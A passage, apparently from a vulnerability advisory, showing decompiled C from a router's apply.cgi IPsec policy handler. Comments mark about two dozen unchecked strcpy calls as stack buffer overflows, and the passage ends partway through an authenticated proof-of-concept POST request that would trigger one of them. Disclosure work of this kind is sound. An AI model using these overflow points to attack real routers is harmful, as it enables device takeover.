    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;exc_stflg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x8fe2c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exc_stflg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;exc_stflg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;add&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ike_selidx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x93e90&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ike_selidx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ike_selidx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DAT_00089938&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack1224&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4a0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;edit_eq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exc_stflg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;edit&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;edit_eq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_policy_index&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;atoi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ike_selidx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;openswan_get_ipsec_policy_by_index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_policy_index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack1224&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack1224&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_policy_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack1150&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_policy_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack1132&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_endpoint_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_endpoint_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DAT_00089938&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack868&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_endpoint_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack1124&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_endpoint_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;netbios_off&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_netbios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;on&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;netbios_off&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;uStack776&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;uStack776&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack810&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_local_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack808&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_local_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack792&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_local_subnet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack844&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_remote_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack842&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_remote_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack826&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_remote_subnet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack852&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_ike_policy_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_policy_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DAT_00089938&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack680&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_sa_lifetime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack768&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;auto_ipsec_enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack736&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;auto_ipsec_int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;pfs_enable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_pfs_enable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;dis&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pfs_enable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;local_2d0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack712&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_pfs_group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;edit_policy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exc_stflg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;add&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack664&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_spi_income&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack632&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_spi_outgo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack600&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;manual_ipsec_enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack584&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_enc_keyin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack456&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_enc_keyout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack328&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;manual_ipsec_int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack312&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_int_keyin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack184&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_key_keyout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//stack buffer overflow here&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;edit_policy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exc_stflg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;add&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;edit_policy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;openswan_add_ipsec_policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack1224&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exc_stflg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;edit&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;atoi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ike_selidx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;openswan_edit_ipsec_policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack1224&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;It is possible to trigger one of the stack buffer overflow above with an authenticated request such as the one
below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /apply.cgi;session_id=b37f0e917e54a1af0e1d7a0027d9de5d HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
